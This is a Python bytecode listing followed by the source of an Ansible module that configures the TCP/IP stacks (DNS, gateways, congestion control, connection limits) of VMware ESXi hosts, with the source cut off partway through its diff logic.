POP_JUMP_IF_FALSE LOAD_GLOBAL vim LOAD_ATTR host LOAD_ATTR NetworkConfig LOAD_METHOD NetStackSpec CALL_METHOD STORE_FAST default_config LOAD_CONST 'edit' LOAD_FAST default_config STORE_ATTR operation LOAD_GLOBAL vim LOAD_ATTR host LOAD_METHOD NetStackInstance CALL_METHOD LOAD_FAST default_config STORE_ATTR netStackInstance LOAD_FAST self LOAD_ATTR net_stack_instance_keys LOAD_CONST 'default' BINARY_SUBSCR LOAD_FAST default_config LOAD_ATTR netStackInstance STORE_ATTR key LOAD_GLOBAL vim LOAD_ATTR host LOAD_METHOD IpRouteConfig CALL_METHOD LOAD_FAST default_config LOAD_ATTR netStackInstance STORE_ATTR ipRouteConfig LOAD_FAST self LOAD_ATTR default LOAD_CONST 'gateway' BINARY_SUBSCR LOAD_FAST default_config LOAD_ATTR netStackInstance LOAD_ATTR ipRouteConfig STORE_ATTR defaultGateway LOAD_FAST self LOAD_ATTR default LOAD_CONST 'ipv6_gateway' BINARY_SUBSCR LOAD_FAST default_config LOAD_ATTR netStackInstance LOAD_ATTR ipRouteConfig STORE_ATTR ipV6DefaultGateway LOAD_GLOBAL vim LOAD_ATTR host LOAD_METHOD DnsConfig CALL_METHOD LOAD_FAST default_config LOAD_ATTR netStackInstance STORE_ATTR dnsConfig LOAD_FAST self LOAD_ATTR default LOAD_CONST 'hostname' BINARY_SUBSCR LOAD_FAST default_config LOAD_ATTR netStackInstance LOAD_ATTR dnsConfig STORE_ATTR hostName LOAD_FAST self LOAD_ATTR default LOAD_CONST 'domain' BINARY_SUBSCR LOAD_FAST default_config LOAD_ATTR netStackInstance LOAD_ATTR dnsConfig STORE_ATTR domainName BUILD_LIST STORE_FAST dns_servers LOAD_FAST self LOAD_ATTR default LOAD_CONST 'preferred_dns' BINARY_SUBSCR POP_JUMP_IF_FALSE LOAD_FAST dns_servers LOAD_METHOD append LOAD_FAST self LOAD_ATTR default LOAD_CONST 'preferred_dns' BINARY_SUBSCR CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR default LOAD_CONST 'alternate_dns' BINARY_SUBSCR POP_JUMP_IF_FALSE LOAD_FAST dns_servers LOAD_METHOD append LOAD_FAST self LOAD_ATTR default LOAD_CONST 'alternate_dns' BINARY_SUBSCR CALL_METHOD POP_TOP LOAD_FAST dns_servers LOAD_FAST default_config LOAD_ATTR netStackInstance LOAD_ATTR dnsConfig STORE_ATTR address LOAD_FAST self LOAD_ATTR default LOAD_CONST 'search_domains' BINARY_SUBSCR LOAD_FAST default_config LOAD_ATTR netStackInstance LOAD_ATTR dnsConfig STORE_ATTR searchDomain LOAD_FAST self LOAD_ATTR default LOAD_CONST 'congestion_algorithm' BINARY_SUBSCR LOAD_FAST default_config LOAD_ATTR netStackInstance STORE_ATTR congestionControlAlgorithm LOAD_FAST self LOAD_ATTR default LOAD_CONST 'max_num_connections' BINARY_SUBSCR LOAD_FAST default_config LOAD_ATTR netStackInstance STORE_ATTR requestedMaxNumberOfConnections LOAD_FAST self LOAD_ATTR new_net_stack_instance_configs LOAD_ATTR netStackSpec LOAD_METHOD append LOAD_FAST default_config CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR provisioning EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR enabled_net_stack_instance LOAD_CONST 'provisioning' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL vim LOAD_ATTR host LOAD_ATTR NetworkConfig LOAD_METHOD NetStackSpec CALL_METHOD STORE_FAST provisioning_config LOAD_CONST 'edit' LOAD_FAST provisioning_config STORE_ATTR operation LOAD_GLOBAL vim LOAD_ATTR host LOAD_METHOD NetStackInstance CALL_METHOD LOAD_FAST provisioning_config STORE_ATTR netStackInstance LOAD_FAST self LOAD_ATTR net_stack_instance_keys LOAD_CONST 'provisioning' BINARY_SUBSCR LOAD_FAST provisioning_config LOAD_ATTR netStackInstance STORE_ATTR key LOAD_GLOBAL vim LOAD_ATTR host LOAD_METHOD IpRouteConfig CALL_METHOD LOAD_FAST provisioning_config LOAD_ATTR netStackInstance STORE_ATTR ipRouteConfig LOAD_FAST self LOAD_ATTR provisioning LOAD_CONST 'gateway' BINARY_SUBSCR LOAD_FAST provisioning_config LOAD_ATTR netStackInstance LOAD_ATTR ipRouteConfig STORE_ATTR defaultGateway LOAD_FAST self LOAD_ATTR provisioning LOAD_CONST 'ipv6_gateway' BINARY_SUBSCR LOAD_FAST provisioning_config LOAD_ATTR netStackInstance LOAD_ATTR ipRouteConfig STORE_ATTR ipV6DefaultGateway LOAD_FAST self LOAD_ATTR provisioning LOAD_CONST 'congestion_algorithm' BINARY_SUBSCR LOAD_FAST provisioning_config LOAD_ATTR netStackInstance STORE_ATTR congestionControlAlgorithm LOAD_FAST self LOAD_ATTR provisioning LOAD_CONST 'max_num_connections' BINARY_SUBSCR LOAD_FAST provisioning_config LOAD_ATTR netStackInstance STORE_ATTR requestedMaxNumberOfConnections LOAD_FAST self LOAD_ATTR new_net_stack_instance_configs LOAD_ATTR netStackSpec LOAD_METHOD append LOAD_FAST provisioning_config CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR vmotion EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR enabled_net_stack_instance LOAD_CONST 'vmotion' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL vim LOAD_ATTR host LOAD_ATTR NetworkConfig LOAD_METHOD NetStackSpec CALL_METHOD STORE_FAST vmotion_config LOAD_CONST 'edit' LOAD_FAST vmotion_config STORE_ATTR operation LOAD_GLOBAL vim LOAD_ATTR host LOAD_METHOD NetStackInstance CALL_METHOD LOAD_FAST vmotion_config STORE_ATTR netStackInstance LOAD_FAST self LOAD_ATTR net_stack_instance_keys LOAD_CONST 'vmotion' BINARY_SUBSCR LOAD_FAST vmotion_config LOAD_ATTR netStackInstance STORE_ATTR key LOAD_GLOBAL vim LOAD_ATTR host LOAD_METHOD IpRouteConfig CALL_METHOD LOAD_FAST vmotion_config LOAD_ATTR netStackInstance STORE_ATTR ipRouteConfig LOAD_FAST self LOAD_ATTR vmotion LOAD_CONST 'gateway' BINARY_SUBSCR LOAD_FAST vmotion_config LOAD_ATTR netStackInstance LOAD_ATTR ipRouteConfig STORE_ATTR defaultGateway LOAD_FAST self LOAD_ATTR vmotion LOAD_CONST 'ipv6_gateway' BINARY_SUBSCR LOAD_FAST vmotion_config LOAD_ATTR netStackInstance LOAD_ATTR ipRouteConfig STORE_ATTR ipV6DefaultGateway LOAD_FAST self LOAD_ATTR vmotion LOAD_CONST 'congestion_algorithm' BINARY_SUBSCR LOAD_FAST vmotion_config LOAD_ATTR netStackInstance STORE_ATTR congestionControlAlgorithm LOAD_FAST self LOAD_ATTR vmotion LOAD_CONST 'max_num_connections' BINARY_SUBSCR LOAD_FAST vmotion_config LOAD_ATTR netStackInstance STORE_ATTR requestedMaxNumberOfConnections LOAD_FAST self LOAD_ATTR new_net_stack_instance_configs LOAD_ATTR netStackSpec LOAD_METHOD append LOAD_FAST vmotion_config CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR vxlan EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR enabled_net_stack_instance LOAD_CONST 'vxlan' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL vim LOAD_ATTR host LOAD_ATTR NetworkConfig LOAD_METHOD NetStackSpec CALL_METHOD STORE_FAST vxlan_config LOAD_CONST 'edit' LOAD_FAST vxlan_config STORE_ATTR operation LOAD_GLOBAL vim LOAD_ATTR host LOAD_METHOD NetStackInstance CALL_METHOD LOAD_FAST vxlan_config STORE_ATTR netStackInstance LOAD_FAST self LOAD_ATTR net_stack_instance_keys LOAD_CONST 'vxlan' BINARY_SUBSCR LOAD_FAST vxlan_config LOAD_ATTR netStackInstance STORE_ATTR key LOAD_GLOBAL vim LOAD_ATTR host LOAD_METHOD IpRouteConfig CALL_METHOD LOAD_FAST vxlan_config LOAD_ATTR netStackInstance STORE_ATTR ipRouteConfig LOAD_FAST self LOAD_ATTR vxlan LOAD_CONST 'gateway' BINARY_SUBSCR LOAD_FAST vxlan_config LOAD_ATTR netStackInstance LOAD_ATTR ipRouteConfig STORE_ATTR defaultGateway LOAD_FAST self LOAD_ATTR vxlan LOAD_CONST 'ipv6_gateway' BINARY_SUBSCR LOAD_FAST vxlan_config LOAD_ATTR netStackInstance LOAD_ATTR ipRouteConfig STORE_ATTR ipV6DefaultGateway LOAD_FAST self LOAD_ATTR vxlan LOAD_CONST 'congestion_algorithm' BINARY_SUBSCR LOAD_FAST vxlan_config LOAD_ATTR netStackInstance STORE_ATTR congestionControlAlgorithm LOAD_FAST self LOAD_ATTR vxlan LOAD_CONST 'max_num_connections' BINARY_SUBSCR LOAD_FAST vxlan_config LOAD_ATTR netStackInstance STORE_ATTR requestedMaxNumberOfConnections LOAD_FAST self LOAD_ATTR new_net_stack_instance_configs LOAD_ATTR netStackSpec LOAD_METHOD append LOAD_FAST vxlan_config CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD find_hostsystem_by_name LOAD_FAST self LOAD_ATTR esxi_hostname CALL_METHOD LOAD_FAST self STORE_ATTR host_obj LOAD_FAST self LOAD_ATTR host_obj LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR module LOAD_ATTR fail_json LOAD_CONST 'Cannot find the specified ESXi host: %s' LOAD_FAST self LOAD_ATTR params LOAD_CONST 'esxi_hostname' BINARY_SUBSCR BINARY_MODULO LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_METHOD check_enabled_net_stack_instance CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD get_net_stack_instance_config CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD diff_net_stack_instance_config CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR change_flag POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR module LOAD_ATTR check_mode LOAD_CONST False COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD generate_net_stack_instance_config CALL_METHOD POP_TOP SETUP_EXCEPT to 124 LOAD_FAST self LOAD_ATTR host_obj LOAD_ATTR configManager LOAD_ATTR networkSystem LOAD_METHOD UpdateNetworkConfig LOAD_FAST self LOAD_ATTR new_net_stack_instance_configs LOAD_CONST 'modify' CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 248 DUP_TOP LOAD_GLOBAL vim LOAD_ATTR fault LOAD_ATTR PlatformConfigFault COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 178 LOAD_FAST self LOAD_ATTR module LOAD_ATTR fail_json LOAD_CONST 'cannot modify tcpip stack config: %s' LOAD_GLOBAL to_text LOAD_FAST e LOAD_ATTR faultMessage LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR message CALL_FUNCTION BINARY_MODULO LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 248 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 234 LOAD_FAST self LOAD_ATTR module LOAD_ATTR fail_json LOAD_CONST 'cannot modify tcpip stack config: %s' LOAD_GLOBAL to_text LOAD_FAST e LOAD_ATTR msg CALL_FUNCTION BINARY_MODULO LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 248 END_FINALLY SETUP_LOOP to 322 LOAD_FAST self LOAD_ATTR enabled_net_stack_instance LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 320 UNPACK_SEQUENCE STORE_FAST key STORE_FAST value LOAD_FAST self LOAD_ATTR params LOAD_FAST key BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST value LOAD_CONST False COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR module LOAD_METHOD warn LOAD_CONST "%s isn't supported in %s" LOAD_FAST key LOAD_FAST self LOAD_ATTR params LOAD_CONST 'esxi_hostname' BINARY_SUBSCR BUILD_TUPLE BINARY_MODULO CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL dict LOAD_FAST self LOAD_ATTR change_flag LOAD_GLOBAL dict LOAD_GLOBAL OrderedDict LOAD_GLOBAL sorted LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'before' BINARY_SUBSCR LOAD_METHOD items CALL_METHOD CALL_FUNCTION CALL_FUNCTION LOAD_GLOBAL OrderedDict LOAD_GLOBAL sorted LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'after' BINARY_SUBSCR LOAD_METHOD items CALL_METHOD CALL_FUNCTION CALL_FUNCTION LOAD_CONST ('before', 'after') CALL_FUNCTION LOAD_CONST ('changed', 'diff') CALL_FUNCTION STORE_FAST result SETUP_LOOP to 440 LOAD_FAST self LOAD_ATTR enabled_net_stack_instance LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 438 UNPACK_SEQUENCE STORE_FAST key STORE_FAST value LOAD_FAST value EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR diff_config LOAD_CONST 'after' BINARY_SUBSCR LOAD_FAST key BINARY_SUBSCR LOAD_FAST result LOAD_FAST key STORE_SUBSCR JUMP_FORWARD to 434 BUILD_MAP LOAD_FAST result LOAD_FAST key STORE_SUBSCR EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_ATTR module LOAD_ATTR exit_json BUILD_TUPLE LOAD_FAST result CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL vmware_argument_spec CALL_FUNCTION STORE_FAST argument_spec LOAD_FAST argument_spec LOAD_ATTR update LOAD_GLOBAL dict LOAD_CONST 'str' LOAD_CONST True LOAD_CONST ('type', 'required') CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'dict' LOAD_GLOBAL dict LOAD_GLOBAL dict LOAD_CONST 'str' LOAD_CONST True LOAD_CONST ('type', 'required') CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'str' LOAD_CONST True LOAD_CONST ('type', 'required') CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'str' LOAD_CONST ('type',) CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'str' LOAD_CONST ('type',) CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'list' LOAD_CONST 'str' BUILD_LIST LOAD_CONST ('type', 'elements', 'default') CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'str' LOAD_CONST ('type',) CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'str' LOAD_CONST ('type',) CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'str' LOAD_CONST 'newreno' LOAD_CONST 'cubic' BUILD_LIST LOAD_CONST 'newreno' LOAD_CONST ('type', 'choices', 'default') CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'int' LOAD_CONST 11000 LOAD_CONST ('type', 'default') CALL_FUNCTION LOAD_CONST ('hostname', 'domain', 'preferred_dns', 'alternate_dns', 'search_domains', 'gateway', 'ipv6_gateway', 'congestion_algorithm', 'max_num_connections') CALL_FUNCTION LOAD_CONST ('type', 'options') CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'dict' LOAD_GLOBAL dict LOAD_GLOBAL dict LOAD_CONST 'str' LOAD_CONST ('type',) CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'str' LOAD_CONST ('type',) CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'str' LOAD_CONST 'newreno' LOAD_CONST 'cubic' BUILD_LIST LOAD_CONST 'newreno' LOAD_CONST ('type', 'choices', 'default') CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'int' LOAD_CONST 11000 LOAD_CONST ('type', 'default') CALL_FUNCTION LOAD_CONST ('gateway', 'ipv6_gateway', 'congestion_algorithm', 'max_num_connections') CALL_FUNCTION LOAD_CONST ('type', 'options') CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'dict' LOAD_GLOBAL dict LOAD_GLOBAL dict LOAD_CONST 'str' LOAD_CONST ('type',) CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'str' LOAD_CONST ('type',) CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'str' LOAD_CONST 'newreno' LOAD_CONST 'cubic' BUILD_LIST LOAD_CONST 'newreno' LOAD_CONST ('type', 'choices', 'default') CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'int' LOAD_CONST 11000 LOAD_CONST ('type', 'default') CALL_FUNCTION LOAD_CONST ('gateway', 'ipv6_gateway', 'congestion_algorithm', 'max_num_connections') CALL_FUNCTION LOAD_CONST ('type', 'options') CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'dict' LOAD_CONST 'nsx_overlay' BUILD_LIST LOAD_GLOBAL dict LOAD_GLOBAL dict LOAD_CONST 'str' LOAD_CONST ('type',) CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'str' LOAD_CONST ('type',) CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'str' LOAD_CONST 'newreno' LOAD_CONST 'cubic' BUILD_LIST LOAD_CONST 'newreno' LOAD_CONST ('type', 'choices', 'default') CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'int' LOAD_CONST 11000 LOAD_CONST ('type', 'default') CALL_FUNCTION LOAD_CONST ('gateway', 'ipv6_gateway', 'congestion_algorithm', 'max_num_connections') CALL_FUNCTION LOAD_CONST ('type', 'aliases', 'options') CALL_FUNCTION LOAD_CONST ('esxi_hostname', 'default', 'provisioning', 'vmotion', 'vxlan') CALL_FUNCTION POP_TOP LOAD_GLOBAL AnsibleModule LOAD_FAST argument_spec LOAD_CONST True LOAD_CONST ('argument_spec', 'supports_check_mode') CALL_FUNCTION STORE_FAST module LOAD_GLOBAL VmwareHostTcpipStack LOAD_FAST module CALL_FUNCTION STORE_FAST vmware_host_tcpip_stack LOAD_FAST vmware_host_tcpip_stack LOAD_METHOD execute CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE
from __future__ import absolute_import, division, print_function __metaclass__ = type DOCUMENTATION = r""" --- module: vmware_host_tcpip_stacks short_description: Manage the TCP/IP Stacks configuration of ESXi host author: - sky-joker (@sky-joker) description: - This module can be used to modify the TCP/IP stacks configuration. options: esxi_hostname: description: - Name of the ESXi host. type: str required: true default: description: - The TCP/IP stacks configuration of the I(default). suboptions: hostname: description: - The host name of the ESXi host. type: str required: true domain: description: - The domain name portion of the DNS name. type: str required: true preferred_dns: description: - The IP address of the preferred dns server. type: str alternate_dns: description: - The IP address of the alternate dns server. type: str search_domains: description: - The domain in which to search for hosts, placed in order of preference. default: [] elements: str type: list gateway: description: - The ipv4 gateway address. type: str ipv6_gateway: description: - The ipv6 gateway address. type: str congestion_algorithm: description: - The TCP congest control algorithm. choices: - newreno - cubic default: newreno type: str max_num_connections: description: - The maximum number of socket connection that are requested. default: 11000 type: int type: dict provisioning: description: - The TCP/IP stacks configuration of the I(provisioning). suboptions: gateway: description: - The ipv4 gateway address. type: str ipv6_gateway: description: - The ipv6 gateway address. type: str congestion_algorithm: description: - The TCP congest control algorithm. choices: - newreno - cubic default: newreno type: str max_num_connections: description: - The maximum number of socket connection that are requested. default: 11000 type: int type: dict vmotion: description: - The TCP/IP stacks configuration of the I(vmotion). suboptions: gateway: description: - The ipv4 gateway address. type: str ipv6_gateway: description: - The ipv6 gateway address. type: str congestion_algorithm: description: - The TCP congest control algorithm. choices: - newreno - cubic default: newreno type: str max_num_connections: description: - The maximum number of socket connection that are requested. default: 11000 type: int type: dict vxlan: description: - The TCP/IP stacks configuration of the I(vxlan). suboptions: gateway: description: - The ipv4 gateway address. type: str ipv6_gateway: description: - The ipv6 gateway address. type: str congestion_algorithm: description: - The TCP congest control algorithm. choices: - newreno - cubic default: newreno type: str max_num_connections: description: - The maximum number of socket connection that are requested. default: 11000 type: int type: dict aliases: - nsx_overlay extends_documentation_fragment: - community.vmware.vmware.documentation """ EXAMPLES = r""" - name: Update the TCP/IP stack configuration of the default community.vmware.vmware_host_tcpip_stacks: hostname: "{{ vcenter_hostname }}" username: "{{ vcenter_username }}" password: "{{ vcenter_password }}" validate_certs: false esxi_hostname: "{{ esxi_hostname }}" default: hostname: "{{ esxi_hostname }}" domain: example.com preferred_dns: 192.168.10.1 alternate_dns: 192.168.20.1 search_domains: - hoge.com - fuga.com gateway: 192.168.10.1 congestion_algorithm: cubic max_num_connections: 12000 - name: Update the TCP/IP stack configuration of the provisioning community.vmware.vmware_host_tcpip_stacks: hostname: "{{ vcenter_hostname }}" username: "{{ vcenter_username }}" password: "{{ vcenter_password }}" validate_certs: false esxi_hostname: "{{ esxi_hostname }}" provisioning: congestion_algorithm: newreno max_num_connections: 12000 gateway: 10.10.10.254 - name: Update the TCP/IP stack configuration of the default and provisioning community.vmware.vmware_host_tcpip_stacks: hostname: "{{ vcenter_hostname }}" username: "{{ vcenter_username }}" password: "{{ vcenter_password }}" validate_certs: false esxi_hostname: "{{ esxi_hostname }}" default: hostname: "{{ esxi_hostname }}" domain: example.com preferred_dns: 192.168.10.1 alternate_dns: 192.168.20.1 search_domains: - hoge.com - fuga.com gateway: 192.168.10.1 congestion_algorithm: cubic max_num_connections: 12000 provisioning: congestion_algorithm: newreno max_num_connections: 12000 gateway: 10.10.10.254 - name: Update the ipv6 gateway of the provisioning TCP/IP stack community.vmware.vmware_host_tcpip_stacks: hostname: "{{ vcenter_hostname }}" username: "{{ vcenter_username }}" password: "{{ vcenter_password }}" validate_certs: false esxi_hostname: "{{ esxi_hostname }}" provisioning: ipv6_gateway: ::ffff:6440:301 """ RETURN = r""" default: description: dict of the TCP/IP stack configuration of the default. returned: always type: dict sample: >- { "alternate_dns": "192.168.20.1", "congestion_algorithm": "cubic", "domain": "example.com", "gateway": "192.168.10.1", "ipv6_gateway", null, "hostname": "esxi-test03", "max_num_connections": 12000, "preferred_dns": "192.168.10.1", "search_domains": [ "hoge.com", "fuga.com" ] } provisioning: description: dict of the TCP/IP stack configuration of the provisioning. returned: always type: dict sample: >- { "congestion_algorithm": "newreno", "gateway": "10.10.10.254", "ipv6_gateway": null, "max_num_connections": 12000 } vmotion: description: dict of the TCP/IP stack configuration of the vmotion. returned: always type: dict sample: >- { "congestion_algorithm": "newreno", "gateway": null, "ipv6_gateway": null, "max_num_connections": 11000 } vxlan: description: dict of the TCP/IP stack configuration of the vxlan. returned: always type: dict sample: >- { "congestion_algorithm": "newreno", "gateway": null, "ipv6_gateway": null, "max_num_connections": 11000 } """ try: from pyVmomi import vim except ImportError: pass try: from collections import OrderedDict except ImportError: try: from ordereddict import OrderedDict except ImportError: pass from ansible.module_utils.basic import AnsibleModule from ansible.module_utils._text import to_text from ansible_collections.community.vmware.plugins.module_utils.vmware import ( PyVmomi, vmware_argument_spec, ) class VmwareHostTcpipStack(PyVmomi): def __init__(self, module): super(VmwareHostTcpipStack, self).__init__(module) self.esxi_hostname = self.params["esxi_hostname"] self.default = self.params["default"] self.provisioning = self.params["provisioning"] self.vmotion = self.params["vmotion"] self.vxlan = self.params["vxlan"] self.net_stack_instance_keys = { "default": "defaultTcpipStack", "vmotion": "vmotion", "provisioning": "vSphereProvisioning", "vxlan": "vxlan", } def check_enabled_net_stack_instance(self): """ Make sure if enabled each the tcpip stack item in ESXi host. """ self.enabled_net_stack_instance = { "default": False, "vmotion": False, "provisioning": False, "vxlan": False, } for ( net_stack_instance ) in self.host_obj.runtime.networkRuntimeInfo.netStackInstanceRuntimeInfo: if ( net_stack_instance.netStackInstanceKey == self.net_stack_instance_keys["default"] ): self.enabled_net_stack_instance["default"] = True if ( net_stack_instance.netStackInstanceKey == self.net_stack_instance_keys["provisioning"] ): self.enabled_net_stack_instance["provisioning"] = True if ( net_stack_instance.netStackInstanceKey == self.net_stack_instance_keys["vmotion"] ): self.enabled_net_stack_instance["vmotion"] = True if ( net_stack_instance.netStackInstanceKey == self.net_stack_instance_keys["vxlan"] ): self.enabled_net_stack_instance["vxlan"] = True def get_net_stack_instance_config(self): """ Get a configuration of tcpip stack item if it is enabled. """ self.exist_net_stack_instance_config = {} for key, value in self.enabled_net_stack_instance.items(): if value is True: for net_stack_instance in self.host_obj.config.network.netStackInstance: if net_stack_instance.key == self.net_stack_instance_keys[key]: self.exist_net_stack_instance_config[key] = net_stack_instance def diff_net_stack_instance_config(self): """ Check the difference between a new and existing config. """ self.change_flag = False self.diff_config = dict(before={}, after={}) for key, value in self.enabled_net_stack_instance.items(): if value is True: self.diff_config["before"][key] = {} self.diff_config["after"][key] = {} if self.enabled_net_stack_instance["default"]: exist_dns_servers = self.exist_net_stack_instance_config[ "default" ].dnsConfig.address for key in "before", "after": self.diff_config[key]["default"] = dict( hostname=self.exist_net_stack_instance_config[ "default" ].dnsConfig.hostName, domain=self.exist_net_stack_instance_config[ "default" ].dnsConfig.domainName, preferred_dns=( exist_dns_servers[0] if [ dns for dns in exist_dns_servers if exist_dns_servers.index(dns) == 0 ] else None ), alternate_dns=( exist_dns_servers[1] if [ dns for dns in exist_dns_servers if exist_dns_servers.index(dns) == 1 ] else None ), search_domains=self.exist_net_stack_instance_config[ "default" ].dnsConfig.searchDomain, gateway=self.exist_net_stack_instance_config[ "default" ].ipRouteConfig.defaultGateway, ipv6_gateway=self.exist_net_stack_instance_config[ "default" ].ipRouteConfig.ipV6DefaultGateway, congestion_algorithm=self.exist_net_stack_instance_config[ "default" ].congestionControlAlgorithm, max_num_connections=self.exist_net_stack_instance_config[ "default" ].requestedMaxNumberOfConnections, ) if self.default: if ( self.diff_config["before"]["default"]["hostname"] != self.default["hostname"] ): self.change_flag = True self.diff_config["after"]["default"]["hostname"] = self.default[ "hostname" ] if ( self.diff_config["before"]["default"]["domain"] != self.default["domain"] ): self.change_flag = True self.diff_config["after"]["default"]["domain"] = self.default[ "domain" ] if ( self.diff_config["before"]["default"]["preferred_dns"] != self.default["preferred_dns"] ): self.change_flag = True self.diff_config["after"]["default"][ "preferred_dns" ] = self.default["preferred_dns"] if ( self.diff_config["before"]["default"]["alternate_dns"] != self.default["alternate_dns"] ): self.change_flag = True self.diff_config["after"]["default"][ "alternate_dns" ] = self.default["alternate_dns"] if ( self.diff_config["before"]["default"]["search_domains"] != self.default["search_domains"] ): self.change_flag = True self.diff_config["after"]["default"][ "search_domains" ] = self.default["search_domains"] if ( self.diff_config["before"]["default"]["gateway"] != self.default["gateway"] ): self.change_flag = True self.diff_config["after"]["default"]["gateway"] = self.default[ "gateway" ] if ( self.diff_config["before"]["default"]["ipv6_gateway"] != self.default["ipv6_gateway"] ): self.change_flag = True self.diff_config["after"]["default"][ "ipv6_gateway" ] = self.default["ipv6_gateway"] if ( self.diff_config["before"]["default"]["congestion_algorithm"] != self.default["congestion_algorithm"] ): self.change_flag = True self.diff_config["after"]["default"][ "congestion_algorithm" ] = self.default["congestion_algorithm"] if ( self.diff_config["before"]["default"]["max_num_connections"] != self.default["max_num_connections"] ): self.change_flag = True self.diff_config["after"]["default"][ "max_num_connections" ] = self.default["max_num_connections"] if self.enabled_net_stack_instance["provisioning"]: for key in "before", "after": self.diff_config[key]["provisioning"] = dict( gateway=self.exist_net_stack_instance_config[ "provisioning" ].ipRouteConfig.defaultGateway, ipv6_gateway=self.exist_net_stack_instance_config[ "provisioning" ].ipRouteConfig.ipV6DefaultGateway, congestion_algorithm=self.exist_net_stack_instance_config[ "provisioning" ].congestionControlAlgorithm, max_num_connections=self.exist_net_stack_instance_config[ "provisioning" ].requestedMaxNumberOfConnections, ) if self.provisioning: if ( self.diff_config["before"]["provisioning"]["gateway"] != self.provisioning["gateway"] ): self.change_flag = True self.diff_config["after"]["provisioning"][ "gateway" ] = self.provisioning["gateway"] if ( self.diff_config["before"]["provisioning"]["ipv6_gateway"] != self.provisioning["ipv6_gateway"] ): self.change_flag = True self.diff_config["after"]["provisioning"][ "ipv6_gateway" ] = self.provisioning["ipv6_gateway"] if ( self.diff_config["before"]["provisioning"]["max_num_connections"] != self.provisioning["max_num_connections"] ): self.change_flag = True self.diff_config["after"]["provisioning"][ "max_num_connections" ] = self.provisioning["max_num_connections"] if ( self.diff_config["before"]["provisioning"]["congestion_algorithm"] != self.provisioning["congestion_algorithm"] ): self.change_flag = True self.diff_config["after"]["provisioning"][ "congestion_algorithm" ] = self.provisioning["congestion_algorithm"] if self.enabled_net_stack_instance["vmotion"]: for key in "before", "after": self.diff_config[key]["vmotion"] = dict( gateway=self.exist_net_stack_instance_config[ "vmotion" ].ipRouteConfig.defaultGateway, ipv6_gateway=self.exist_net_stack_instance_config[ "vmotion" ].ipRouteConfig.ipV6DefaultGateway, congestion_algorithm=self.exist_net_stack_instance_config[ "vmotion" ].congestionControlAlgorithm, max_num_connections=self.exist_net_stack_instance_config[ "vmotion" ].requestedMaxNumberOfConnections, ) if self.vmotion: if ( self.diff_config["before"]["vmotion"]["gateway"] != self.vmotion["gateway"] ): self.change_flag = True self.diff_config["after"]["vmotion"]["gateway"] = self.vmotion[ "gateway" ] if ( 